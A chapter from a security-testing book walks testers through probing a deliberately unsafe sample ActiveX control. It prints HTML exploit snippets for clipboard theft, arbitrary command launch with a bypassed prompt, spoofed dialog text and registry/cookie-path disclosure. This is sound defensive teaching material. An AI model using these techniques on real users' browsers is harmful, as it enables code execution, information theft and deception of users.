ActiveX Control Testing Walkthrough | Hunting Security Bugs

This section takes you on a walkthrough of testing all members of an ActiveX control for security vulnerabilities. The control used here is included on the companion Web site, along with a small Software Development Kit (SDK) document describing its usage.

The main goal of walking through the members of the control is to understand what they do and how to manipulate them using HTML. Then, you can begin to formulate how they might be used maliciously. For each member, you will find information about what it is used for and how to use it in sample HTML. Next , you will see from a security tester s perspective how a potential attacker might benefit from each member. Finally, you will see specifically how to construct test cases for each idea to try to maliciously repurpose the control in different ways.

Warning

Note that the control is not marked as safe. It is not safe. If you do install it for learning purposes, please unregister it ( regsvr32.exe /u sprocket.ocx ) when you are not using it. Normally, you might focus on safe controls first, but this unsafe practice ActiveX control will generate security prompts and show toolbars in the browser that a safe control will not show. Make sure to only install it on a test-only system, and uninstall it when finished.

Before starting any malicious test cases, you need to know how to call the control properly so as to not waste time trying test cases that never exercise any functionality in the control.

In this case, the control has an SDK, whereas in many cases control programmers might not anticipate others using their control directly. In the latter case, you would have to experiment with the control to determine how to use it. When you look through the SDK, you might notice that the InvokeRTFEditor method looks interesting. The SDK reveals that this method opens a file specified in the RTFSource PARAM using the program specified with the RTFEditor PARAM.

Warning

Lack of information, such as an SDK, certainly doesn t make a control more secure. Don t be misled into thinking any documentation (Help files, the IDL interface definition, or even your test cases) describes all of the interesting ways to call into the control.

First try the nonmalicious test case. The InvokeRTFEditor command could be scripted per the SDK, but the following code also specifies a couple of additional PARAMs to make this more interesting:

 <OBJECT id="Editor"    classid="clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9"    height=300 width=300> <PARAM NAME="RTFSource"     VALUE="http://www.evil.thephone-company.com/vroot/path/document.rtf">  <PARAM NAME="RTFEditor"     VALUE="C:\Program Files\Windows NT\Accessories\wordpad.exe"> </OBJECT> <SCRIPT>  Editor.InvokeRTFEditor(true); </SCRIPT>

Tip

Machines inside of the same domain are typically accessed in a variety of ways. Consider http://test , for example, which is also accessible by using its fully qualified domain name (FQDN) http://test.thephone-company.com . Remembering this tip can be handy if you need the HTML loaded in the Intranet or Internet security zones.

Some controls have security measures built in that allow more access when they run from the local hard disk as opposed to a Web server on the Internet. After saving the preceding HTML as the main page of the test Web site, browse to it with Internet Explorer and see that the file from http://www.evil.thephone-company.com/vroot/path/document.rtf opens with WordPad.

Clear

The first method is the Clear method. OLEView shows the following:

 [id(0x00000002), helpstring("Clears the control.")] LONG_PTR Clear();

Notice the return value LONG_PTR . The documentation doesn t say anything about a return value for this or what it does. The first task is to construct some HTML to call the Clear method to enable you to experiment with it some. Because the CLSID is 0C3C509F-111A-4E6C-B270-1D64BCFD26F9, the < object > HTML tag would then look like this (Chapter18.16.html on the book s companion Web site):

 <OBJECT id="Editor" height=300 width=300  classid="clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9"> </OBJECT>

Script to access the Clear method is Editor.Clear() (Chapter18.17.html on the book s companion Web site), shown as follows and in Figure 18-8:

 <OBJECT id="Editor" height=25 width=300  classid="clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9"> </OBJECT> <input type=button onclick="Editor.Clear()" value="Clear"></input> <input type=button onclick="alert(Editor.Clear())" value="ClearAlert"></input>

Figure 18-8: The control in Internet Explorer

In Figure 18-8, notice how the boundary of the control does not appear. You never know when or where a control will appear in Internet Explorer. Also notice that the HTML has <input > elements that correspond both with calling the member Clear and examining the return value (the alert statement displays the return value).

After saving this as HTML and loading it in the browser, what happens? Two buttons are included. Type in some text in the control on the Web page, and click Clear. The text disappears. Type some more text in the box, and then click ClearAlert.

There is a script error in the lower left status bar of Internet Explorer, as shown here:

Double-click this error in the status bar; Internet Explorer claims there was a type mismatch. That s weird. It turns out this isn t an interesting method in and of itself, but it might play a role in an exploit if it involves emptying the control of contents.

ClipboardCopy

The next method in the control is the ClipboardCopy method, which has the following declaration:

 [id(0x00000005), helpstring("Copies from the control to the Clipboard.")] LONG_PTR ClipboardCopy(long Format);

This method has the same LONG_PTR variable type that gave a type mismatch error before.

Copying from the control to the Clipboard isn t as bad from a security standpoint as pasting is, but there are still possible issues such as buffer overruns and format string vulnerabilities to be concerned about (please refer to Chapter 8, Buffer Overflows and Stack and Heap Manipulation, and Chapter 9, Format String Attacks, for more information on how to test for these classes of attack). A security setting in Internet Explorer governs paste operations. That setting might apply, but this is a copy, not a paste.

What does the < object > HTML tag look like for this member?

Hint: We know the control s CLSID is 0C3C509F-111A-4E6C-B270-1D64BCFD26F9.

Answer:

 <object id=myObject classid="clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9"></object>

If HTML names the object myObject , how would you script the method ClipboardCopy(Format) ? Try creating a Web page that creates this control and uses the ClipboardCopy method to copy the control s contents to the Clipboard. Think about how to use events to let this happen later than when the control is first loaded (see Chapter18.18.html on the book s companion Web site). Hint: look at the HTML in the previous section that discusses the Clear method. Try overflowing the buffer by entering long strings and then calling the ClipboardCopy method. What happens?

ClipboardPaste

Now for the third item: ClipboardPaste . This method is defined as follows:

 [id(0x00000006), helpstring("Pastes from the Clipboard into the control.")] LONG_PTR ClipboardPaste();

Think about what can happen to the information once it is in the control. Perhaps there is a way to paste the Clipboard contents to the control, and then somehow send the control s contents to a server somewhere else. How would that work?

First, the victim browses to the malicious Web page. The Web page instructs the user s browser to load this sprocket control and calls the ClipboardPaste method to transfer the Clipboard contents into the control. Script somehow accesses the contents of the control and sends them to the server. Most of these actions are available to you already, but not all of them. What is missing? You still need a way to access the contents of the control through script. How, though?

Tip

You might often need to combine the actions of various members with other members to accomplish a goal. Most (not all) real exploits using ActiveX controls wind up using more than one member. Sometimes the means to demonstrate the issue fully isn t forthcoming. As defense in depth, it is always worth considering clearly defined issues with single members or serious threats even if you cannot figure out how to pull off the full attack.

Scan the SDK for other interesting members you might be able to use in combination with this one to pull the Clipboard information out of the control. The Clear member might be interesting if you can make sure the contents are all totally cleared out first, guaranteeing the script has only the Clipboard contents. NumChars returns the number of characters in the control; this would tell how long the Clipboard contents are, perhaps. Keep looking. RTFEditor is not that interesting, really. Most of the members have to do with the editor or the URL, but eventually you ll come to two interesting members: SelectText , which selects a range of text, and SelectedText , which returns the selected text. How much text should script select? Well, you might use the NumChars property, but the SDK shows an example that always selects all of the text in the control using the SelectText method!

The next step is to put this all together, as shown in the following graphic. First, generate HTML to use the sprocket object. Next, use the ClipboardPaste method to transfer information from the system Clipboard to the control. After that, select the text using SelectText , and then pass the text to the script engine using the SelectedText property. From there, the script engine can bundle this up in an HTML form and post it to any server.

How does this look in HTML? First, create the sprocket control:

 <object id=Editor   classid="clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9"   style="visibility:hidden"> </object>

Then get the Clipboard data, and verify script got it:

 <script>   Editor.ClipboardPaste(); //Clipboard to control   Editor.SelectText(1,-1); //Select it in control   alert(Editor.SelectedText); //Proof we can get it! </script>

Now, save this (Chapter18.19.html on the book s companion Web site), copy something to the Clipboard, and load the HTML page in the browser. What happens?

This results in an empty prompt. The control doesn t work. Following up with development reveals why: this control won t work when the visibility is set to hidden . You could wait around for development to fix this other bug, but that s a minor bug and development might not get to it. Instead, start again with what works for this object. Here is the new HTML (Chapter18.20.html on the book s companion Web site):

 <object id=Editor  classid="clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9"  height=60 width=100> </object> <script>   function f() {     Editor.ClipboardPaste();     Editor.SelectText(1,-1);     alert(Editor.SelectedText);   }   setTimeout("f()",500); //Wait for editor to initialize. </script>

Copy Juicy Clipboard Data and run it again. What happens? The following prompt appears after the Web page loads:

That s enough proof that the script engine has the data from the Clipboard, and this bug should be fixed. See http://www.greymagic.com/security/advisories/gm007%2Die/ and http://www.microsoft.com/technet/security/bulletin/MS02-044.mspx for an example of this bug in action.

Important

Don t make the mistake of assuming you re done testing a particular function when you find a bug. Is the testing done here? No. Think about the different types of security vulnerabilities that might apply besides information disclosure. Another good thing to note is that ClipboardPaste uses strings, so use the avaScript Clipboard functions to inject long strings to the Clipboard, and then call ClipboardPaste to look for overflows. Don t forget to look for format string bugs , too.

InvokeRTFEditor

One great thing about security testing is that invariably you ll find other bugs during the process, too. So far, you found a minor nonsecurity issue (the control doesn t work when the control isn t visible) and an information disclosure issue (the Clipboard issue). What s next?

Note	Remember, as you go through these examples in greater detail, work with each member to figure out as much detail as possible about how it processes attacker-supplied data.

 [id(0x00000008),   helpstring("Edits the contents of the control in a specified editor.")] LONG_PTR InvokeRTFEditor(unsigned short Prompt);

A multitude of questions come to mind given the preceding InvokeRTFEditor function. The contents are edited in a specified editor. Can the attacker also specify the editor used by the victim that connects to a Web site? Regarding the parameter Prompt , the SDK clarifies this parameter is a Boolean. Maybe this can bypass prompts and silently launch an editor. That would be cool!

Start by running the method once and seeing it in action. Again, make sure to know how this works. Follow along (this code is included as Chapter18.21.html on the book s companion Web site):

 <object id=Editor  classid="clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9"> </object> <script>  Editor.InvokeRTFEditor(true); </script>

See Figure 18-9 for the results. Think critically about the dialog box shown in the figure. What is it asking from the user? Does it give the user sufficient information to make the correct decision? Does it grab their attention? Is it clear this is a security decision? Is a prompt the best way to solve this security problem? How might attackers be able to work around this dialog box?

Figure 18-9: The Launch External Editor dialog box

Aha, security UI! Per Figure 18-9, the default action of the Launch External Editor dialog box is the No button (the more secure setting), so that seems to be right from a security point of view. The question mark on the left in Figure 18-9 is misleading when compared to other icons that the programmer could have used in its place. It makes the dialog box easier to spoof if the attacker can somehow get the ˜ write.exe part of the prompt text replaced (the SDK seemed to hint at this) ”is that why write.exe is in single quotation marks?

Clicking the Yes button shown in the dialog box in Figure 18-9 launches WordPad, as shown in Figure 18-10. ActiveX controls that launch other programs can be abused.

Figure 18-10: A control that launches WordPad

At this point the questions are really flowing , and that s good. How did the control launch WordPad? Notice Tom1E0.tmp in the application title bar in Figure 18-10. Did WordPad create this file or did the control? Where is that file stored? Is data from the control pumped into the app? What happens? And most important, how can an attacker use all of this to trick users?

Tip	It is often the case that trying to figure out one item can lead to a lot of questions and observations. Try to keep a list on paper or make mental notes to remind yourself to follow up on all the leads you generated so that important test cases aren t forgotten later.

The next few sections discuss how to use various tools and techniques to discover the answer to the following questions while you are looking for serious security flaws:

How can an attacker specify the editor InvokeRTFEditor uses?
Can the attacker bypass the prompt?
Can the attacker spoof the prompt?
How is the editor launched?
Which component creates the Tom1E0.tmp file?
Where is the Tom1E0.tmp file stored?
Is data from the control pumped into the editor? How?

That s a pretty big list of questions, some of which seem to be threats. You might wonder what is different between the threat modeling process and this analysis. Look carefully at the list. Which questions would not typically be included in the threat model, and why not? The preceding questions are a mix of threats and specific questions about observed behavior encountered so far. Threat models are typically not very focused on fine details of actual observed behavior, but rather focus on informed thoughts, brainstorming, assessments, analysis, and discussion. Adjusting the assessment of the threats specific to features and members as the discovery process unfolds is unique to the testing discipline. Real-time adjustment of threat analysis and subsequent test cases based on actual observed behavior is a powerful process that security testers and attackers have in common. Learning to use your creativity and observation skills and applying those skills to analyzing a feature s actual behavior can prove very effective. You must be able to stay focused on the goal of understanding how an attacker would use this feature to cause victims some degree of harm to effectively test the feature for security issues.

How Can an Attacker Specify the Editor InvokeRTFEditor Uses?

The InvokeRTFEditor method does not contain any way to specify the editor, but it does claim to load ˜ write.exe . No path is mentioned with write.exe , so perhaps you can get your own malicious, Trojan write.exe to run somehow.

Try to put a copy of notepad.exe as write.exe in the same folder as the TestCase.htm , and then try launching TestCase.htm directly in Internet Explorer over the network or the local file system, hoping somehow the control uses the current working directory to load the Trojan horse. You ll find this doesn t work ”the control still loads WordPad.

Don t give up yet. Next try placing a copy of notepad.exe renamed as write.exe in the Internet Explorer directory, and reload the HTML. Excellent! Notepad loads instead of WordPad. But big deal ”if you can write to that directory, just overwrite iexplore.exe. Where else should be checked?

Perhaps try including a different version of write.exe where the file is created. You can use FileMon to find out where the file is created, but just to do things differently here, load the HTML and look at the filename. Recall from Figure 18-10 the filename is Tom1E0.tmp.

 C:\>dir /s/a/b Tom1E0.tmp C:\Documents and Settings\Book\Local Settings\Temp\Tom1E0.tmp

That s the temporary folder. Copy notepad.exe and rename.

 C:\>copy %windir%\system32\Notepad.exe %temp%         1 file(s) copied. C:\>ren %temp%\notepad.exe write.exe

Now when reloading the HTML in the browser, the following appears:

There is no obvious way to launch a Trojan write.exe using just this method, but it is still worth threat modeling; perhaps there is some way not yet considered .

Invoking a malicious write.exe seems tough, but can you use some of the other members of the control to launch a different editor? You might look through the SDK to gain some specific ideas to try. RTFEditor looks promising . RTFEditorOverrideKey/Value seems to imply this control somehow reads the path from the registry.

How does the RTFEditor PARAM work? The SDK gives some HTML for invoking a different RTF editor (Chapter18.22.html on the book s companion Web site):

 <object id=Editor    classid="clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9"    height=30 width=300>  <param name="RTFEditor" value="notepad.exe"> </object> <input type=button    onclick="Editor.InvokeRTFEditor(false)"    value="Edit in Notepad">

Figure 18-11 shows what happens this time when Internet Explorer loads the HTML and you click the Edit In Notepad button. Notepad runs! In addition to running Notepad, something else happens differently. Did you notice? Security testers need to observe differences. What is different here is discussed later.

Figure 18-11: Invoking a different editor

Hint: Load the previous HTML we had that launched WordPad. Think about what you have to do as a user for that to run.

Answer: There s no prompt!!

OK, that s a bug, but how bad is it? How can an attacker take advantage of this? Can HTML launch executables from the Internet by using Universal Naming Convention (UNC)? To try launching an executable using UNC, consider typing ping servername at a console window to get the IP address, and then use \\[IP Address]\share\fun.exe , or provide a network path of your own. Some people with direct connections to the Internet can pull down information this way, although not many given firewalls and other related mitigations in place.

Perhaps the code somehow filters and allows notepad.exe but disallows other malicious options. How could you test whether this is the case? Try including a command-line parameter and cmd.exe (Chapter18.23.html on the book s companion Web site):

 <object id=Editor    classid="clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9"    height=300 width=300>  <param name="RTFEditor" value="cmd.exe /k calc.exe"> </object> <script>  setTimeout("Editor.InvokeRTFEditor(false);",500); </script>

That works great ”great, that is, from an attacker s perspective: Windows Calculator launches. By using the /k command-line parameter with cmd.exe, you can see in Figure 18-12 that the control saves the file and passes the name of the file in on the command line.

Figure 18-12: The cmd.exe window that appears with the Calculator

Try experimenting with the RTFEditor PARAM. Then consider what else is left on the list of items to investigate.

Tip	Consider, it would be preferable if the editors available for use were contained in a well-defined list that was specified using some enumeration.

By now you know how to use the RTFEditor PARAM to specify the editor and run arbitrary commands as well. There is still an open issue about whether RTFEditorOverrideKey or RTF- EditorOverrideValue can also accomplish this. This walkthrough discusses the possibility when testing those members.

Can an Attacker Bypass the Prompt?

The SDK sample shows how to bypass the prompt by supplying a Prompt parameter value of false . Nice! Did you notice that the dialog box that appears in Figure 18-9 does not appear at all for some cases? Remember there was something else different in addition to notepad launching when you tried the following code (from Chapter18.22.html on the book s companion Web site)?

 <input type=button    onclick="Editor.InvokeRTFEditor(false)"    value="Edit in Notepad">

Look again at Figure 18-11. There was no prompt!

Can an Attacker Spoof the Prompt?

What if the programmer decides to fix the issue of being able to run arbitrary commands using InvokeRTFEditor by always prompting (ignoring the Prompt parameter)? Does that fully address the issues here? Chapter 6, Spoofing can give you a few ideas.

Think about what an attacker could do with the prompt. Consider whether the attacker can specify a different value for the RTFEditor PARAM. The dialog box shown in Figure 18-13 appears after you change the existing calculator example (Chapter18.24.html on the book s companion Web site) and run the HTML in Internet Explorer.

Figure 18-13: The Launch External Editor dialog box

Users would probably click No when they encounter the Launch External Editor dialog box in Figure 18-13. Notice that the input specified in the RTFEditor PARAM appears in the dialog box prompt. This could be useful. Perhaps the attacker can get creative (Chapter18.25.html on the book s companion Web site):

 <script>  var t="<object id=Editor ";  t += "classid=clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9 ";  t += "height=300 width=300>";  t += "<param name=RTFEditor value=\"";  t += "cmd.exe /k calc.exe ', but first Internet Explorer ";  t += "wants to know what security you would like to apply.";  t += "&#x0d;&#x0a;&#x0d;&#x0a;Microsoft recommends ";  t += "setting Internet Explorer external editor security ";  t += "settings to only allow trusted editors by enabling ";  t += "'Restricted Access\">";  t += "</object>";  document.write(t);  setTimeout("Editor.InvokeRTFEditor(true);",500); </script>

Compare the dialog box in Figure 18-13 with the one shown in Figure 18-9. There is an important difference. Figure 18-14 shows a more dramatic illustration of how this difference can be exploited by an attacker. With a little wordsmithing an attacker can repurpose the message using HTML along the lines of the preceding to generate the dialog box shown in Figure 18-14.

Figure 18-14: A spoofed Launch External Editor dialog box

Compare the dialog box shown in Figure 18-14 to the ones shown in Figures 18-13 and 18-9. Take a close look at how an attacker can twist the meaning of the message. Many users might click the Yes button in response to the prompt shown in Figure 18-14. Notice what text came from the Web page and how untrusted HTML is able to totally change the meaning of the Yes and No buttons to confuse the user into making the wrong choice. So the Launch External Editor dialog box has spoofing issues, too.

How Is the Editor Launched?

In the process of investigating the answers to other questions, it became evident that the control runs the value specified in the RTFEditor PARAM as a command, with the temp file as a command-line parameter.

Which Component Creates the TomCC9.tmp File?

Observation revealed that the TomCC9.tmp (or similar) file is created by the ActiveX control prior to launching the external editor.

Where Is the TomCC9.tmp File Stored?

This file is stored in the %temp% folder, as demonstrated earlier.

Is Data from the Control Pumped into the Editor? How?

While continuing to investigate the InvokeRTFEditor method to understand exactly how it works, focus on whether data from the control is pumped into the editor, and if so, how.

Previous testing revealed that the file written to the hard disk has a unique (but not quite random) filename, and the editor runs with the file as a command-line parameter that tells the editor where to look for the file. What can you do to tell whether data goes from the control to the editor, and whether data somehow returns from the editor to the control? You need some HTML that allows for editing the contents of the control before launching the editor, such as the following HTML (Chapter18.26.html on the book s companion Web site):

 <object id=Editor    classid="clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9"> </object> <a href="javascript:Editor.InvokeRTFEditor(false);">    Click Me! </a>

After loading the HTML in Internet Explorer, type into the control some distinct text you will recognize:

Click the Click Me! link, and notice this: WordPad opens:

The file contains the text in the control. Does this seem like an issue? Does WordPad expect it can trust the contents of a file sitting in the %temp% folder on a user s machine? What might be some other content that could be inserted into the file to cause problems? Think about the interesting things that could be done using various programs as editors.

There are no pat answers to these questions because it depends on which editors can load the content. If Internet Explorer is the editor, storing untrusted content from the Internet in the %temp% folder is a risky proposition because the %temp% folder is in the Local Machine zone. Right now, however, any program on the system or the network can load the content, and so there is literally no limit until proven otherwise . During your investigation, it might be worthwhile to figure out which bytes and characters make it from the control to the file unchanged. In this manner, you could better tell which possible file formats could be generated. Is it really just text? It s unknown at this point. Perhaps attackers can create files of almost any type (even executable) through the control.

But Wait, There Is More!

Although an attacker need not do much more work after figuring out how to run arbitrary code, you should still test for other issues with the InvokeRTFEditor method. Have you looked for buffer overruns, format string attacks, or other bugs? Maybe the attacker can use the method s return value to determine whether a particular file exists on the user s machine. HTML that searches for the existence of a file called cal.exe might look something like what follows here (Chapter18.27.html on the book s companion Web Site):

 <object id=Editor    classid="clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9"    height=300 width=300>  <param name="RTFEditor" value="cal.exe"> </object> <script>  setTimeout("alert(Editor.InvokeRTFEditor(false));",500); </script>

Trying to use the return value from a method is a good case to remember. In this InvokeRTFEditor case, it doesn t work, however.

LoadRTF

The next member to consider is LoadRTF . According to OLEView, the LoadRTF member has the following declaration:

 [id(0x0000000a), helpstring("Loads RTF from the URL specified.")] void LoadRTF(BSTR URL);

How does this work? From the SDK, it says URLs are valid, so try a URL (Chapter18.28.html on the book s companion Web site):

 <object id=Editor    classid="clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9"    height=300 width=350> </object> <script>  Editor.LoadRTF("https://www.woodgrovebank.com"); </script>

When the browser loads the preceding HTML, the dialog box shown in Figure 18-15 appears. Compare this dialog box with the one shown in Figure 18-9. Look at the prompt and figure out which text came from the attacker s Web page. Again there are secure defaults (the No button is selected by default), and you can probably spoof this dialog box, too. If the victim clicks the Yes button, content is pulled down from the victim s bank, as shown in Figure 18-16. The ActiveX control gets all the HTML source (which might include any online banking information) from the victim s bank over SSL.

Figure 18-15: The Open Document dialog box, which pulls text from the attacker s Web page

Figure 18-16: The ActiveX control that obtains the HTML source

It turns out script can get local files, too, but the user is prompted first. To be stealthy the attacker must go after the ( weakly implemented) prompt to see if there is any way to work around it.

What else should you test LoadRTF for? Buffer overruns and format string attacks start the list, but they are not all. What if the server can redirect to another domain and load that content instead? In that case, users would think they are loading content of an external site they might not care about, and the content might really come from their bank Web site. What is the processthe control uses to download the information from the URL? Are the contents of theURL saved someplace as a file first? What might be the issues there? Can an attacker check for the existence of local files or remote files only a different user might have access to somehow (using errors or return values)?

There is a lot to think about when testing ActiveX controls for security. Don t get too bogged down in the thought process ”actually create the test cases and see what happens.

NumChars

NumChars is the next member. It is a read-only property that contains the number of characters in the control. OLEView gives the following:

 [id(0x00000007), helpstring("Returns how many characters are in the control.")] unsigned long NumChars;

The SDK gives the following sample code (Chapter18.29.html on the book s companion Web site):

 <object id=Editor    classid="clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9"    height=300 width=300> </object> <input type=button onclick="isempty()" value="Empty?"> <script>  function isempty()  {     if (Editor.NumChars == 0)         alert('Editor is empty!');     else         alert('We have some text...');  } </script>

The real question is whether there is anything malicious an attacker can do with this property. Well, probably not directly, but if an attacker wanted to load the control with other data as part of an exploit, this property might come in handy to tell when the control is fully loaded.

Tip	Even members that seem useless to an attacker can turn out to be very useful. Although these members would not be considered bugs themselves , sometimes they can combine to be fairly powerful forces in the hands of an attacker.

RTFEditor Property

Look at the RTFEditor property. OLEView shows the following definition:

 [id(0x00000009), helpstring("Specifies the RTF editor to use.")] BSTR RTFEditor;

The SDK gives some HTML that retrieves the current value of the property but does not set the value (Chapter18.30.html on the book s companion Web site):

 <object id=Editor    classid="clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9"    height=30 width=300> </object> <input id=Btn1 type=button    onclick="Editor.InvokeRTFEditor(false)"> <script>  Btn1.value = "Edit in " + Editor.RTFEditor; </script>

Try this code to see what happens. Not much ”an Edit In Write.exe button that invokes the editor appears. Try to set the value. Load the following HTML (Chapter18.31.html on the book s companion Web site), type calc.exe into the Txt1 input HTML element, and then click the Edit HTML button.

 <object id=Editor    classid="clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9"    height=30 width=300> </object> <input id=Btn1 value="Edit" type=button onclick="f()"> <input id=Txt1 value="" type=text> <script>  function f()  {     Editor.RTFEditor = Txt1.value;     Editor.InvokeRTFEditor(false);  } </script>

What happens? It doesn t work. Now you must figure out why it doesn t work. Remember how to investigate these cases? Start with something simpler (Chapter18.32.html on the book s companion Web site):

 <object id=Editor    classid="clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9"    height=300 width=300> </object> <script>      Editor.RTFEditor = "notepad.exe";      alert(Editor.RTFEditor); </script>

When the preceding HTML loads in Internet Explorer, a Microsoft Internet Explorer dialog box appears (from the alert JavaScript command) that contains the text write.exe .

The control has a functionality bug, but there is a dilemma. If this member actually worked properly, it would likely have all of the issues you already encountered with the RTFEditor PARAM. Fixing the functionality bug in this case will likely result in security issues. Make sure the programmer fixing the bug is also aware of the security implications of making this work as expected.

Tip	When you don t completely understand how a member works, follow up to make sure you do understand it all the way. Misunderstanding a member can be a big source of bugs, security and otherwise.

In this case, it turns out to be a regular functionality bug in the control ”the member was not implemented properly yet. Are you done testing this PARAM? No. You have not really started.

RTFEditor PARAM

Consider the RTFEditor PARAM. Remember looking at this PARAM with the InvokeRTFEditor method? Some of the testing is already done on this PARAM; recall identifying several good bugs, mostly in the InvokeRTFEditor method. The fact that HTML could set the editor to be any .exe file was a bit disconcerting.

In addition to the tests already performed on this PARAM, try looking for buffer overflows and format string vulnerabilities.

Tip

Think about regular testing ”do you ever repeat cases? Absolutely. Why? The risk of regressions with security bugs is fairly high often because security requires extra coding steps, and if the programmer didn t include decent comments in the code, others might come along and change the code, causing unintended side effects. Devising an automation strategy to test for many of these ActiveX control bugs is often fairly easy because the controls are intended to be manipulated programmatically.

RTFEditorOverride

Because the RTFEditorOverrideKey and RTFEditorOverrideValue properties are exposed as PARAMs and not properties, OLEView doesn t list them. The SDK gives some information, though.

The exact location of the RTF editor might not be known for a system, so RTFEditorOverrideKey and RTFEditorOverrideValue provide ways to specify where the control should look in the HKEY_LOCAL_MACHINE registry hive (HKLM) to find the editor to use. If RTFEditor- OverrideValue is blank or omitted, the default value associated with the key is used, as in the following example:

 <object id=Editor    classid="clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9"    height=300 width=300>  <param name="RTFEditorOverrideKey"     value="SOFTWARE\Classes\rtffile\shell\open\command">  <param name="RTFEditorOverrideValue" value=""> </object>

If the SDK is not this specific, the terms Key and Value would provide a clue that these PARAMs use the registry. The main way to confirm registry usage aside from looking at the source code is to use RegMon or set conditional breakpoints in a debugger on registry APIs.

The preceding example with the SDK doesn t contain any kind of confirmation about the results of giving the information to the PARAMs. Load the following example in place of the previous example, using what you have learned about the remainder of the members of the sprocket control to confirm the value is read and applied properly:

 <object id=Editor    classid="clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9"    height=300 width=300>  <param name="RTFEditorOverrideKey"     value="SOFTWARE\Classes\rtffile\shell\open\command">  <param name="RTFEditorOverrideValue" value=""> </object> <script>  alert(Editor.RTFEditor); //show me the goods </script>

Running the preceding HTML code (Chapter18.33.html on the book s companion Web site) confirms the RTFEditor property is set to write.exe .

Now, what happens if you start experimenting with these values? Well, it sure looks from the sample as though script can query fairly arbitrary values in the registry by setting the PARAMs and querying the result using RTFEditor . What can the attacker do with this?Quite a bit of sensitive information about the machine is available in HKLM.

 <object id=Editor    classid="clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9"    height=1 width=1>  <param name="RTFEditorOverrideKey"     value="SOFTWARE\Microsoft\Windows\HTML Help">  <param name="RTFEditorOverrideValue" value="dao360.chm"> </object> <script>  alert("dao360.chm is located at '"+Editor.RTFEditor+"'"); </script>

If the client has dao360.chm installed (for example), the preceding code (Chapter18.34.html on the book s companion Web site) will gather the location where the Help file is installed.

Important

Exploiting these PARAMs requires more than one control. Attackers never limit themselves to one copy of a control. Why should you?

Do you want to know where cookies are stored on someone s machine when it visits your site and happens to have this buggy ActiveX control installed? Note that the following HTML (Chapter18.35.html on the book s companion Web site) displays these values only on the client, but script could easily submit them to the server. Note that the text of the values of the PARAM tag value attribute below are artificially wrapped:

 <object id=Editor1    classid="clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9"    height=1 width=1> <param name="RTFEditorOverrideKey"     value="SOFTWARE\Microsoft\Windows\CurrentVersion\ Internet Settings\Cache\Special Paths\Cookies">  <param name="RTFEditorOverrideValue" value="Directory"> </object> <object id=Editor2    classid="clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9"    height=1 width=1>  <param name="RTFEditorOverrideKey"     value="SOFTWARE\Microsoft\Windows\CurrentVersion\ Internet Settings\Cache\Paths\Path1">  <param name="RTFEditorOverrideValue" value="CachePath"> </object> <script>  alert(Editor1.RTFEditor);  alert(Editor2.RTFEditor); </script>

Challenge

This chapter walks through many members of the sprocket control, showing how the control works and interacts with the system. Look at the next property, but this time use the tools and your expanded understanding to figure out what else might be wrong with it. There is at least one vulnerability in the RTFSource members (PARAM and property).

Remember to use the following approach:

Figure out how the to call the member from HTML.
Investigate how the member really works. What does it do? How does it do that?
Walk through the checklist for ideas on how to take advantage of the client or get information from the client using the member.
Experiment with the member and try to break the rules. What can you accomplish?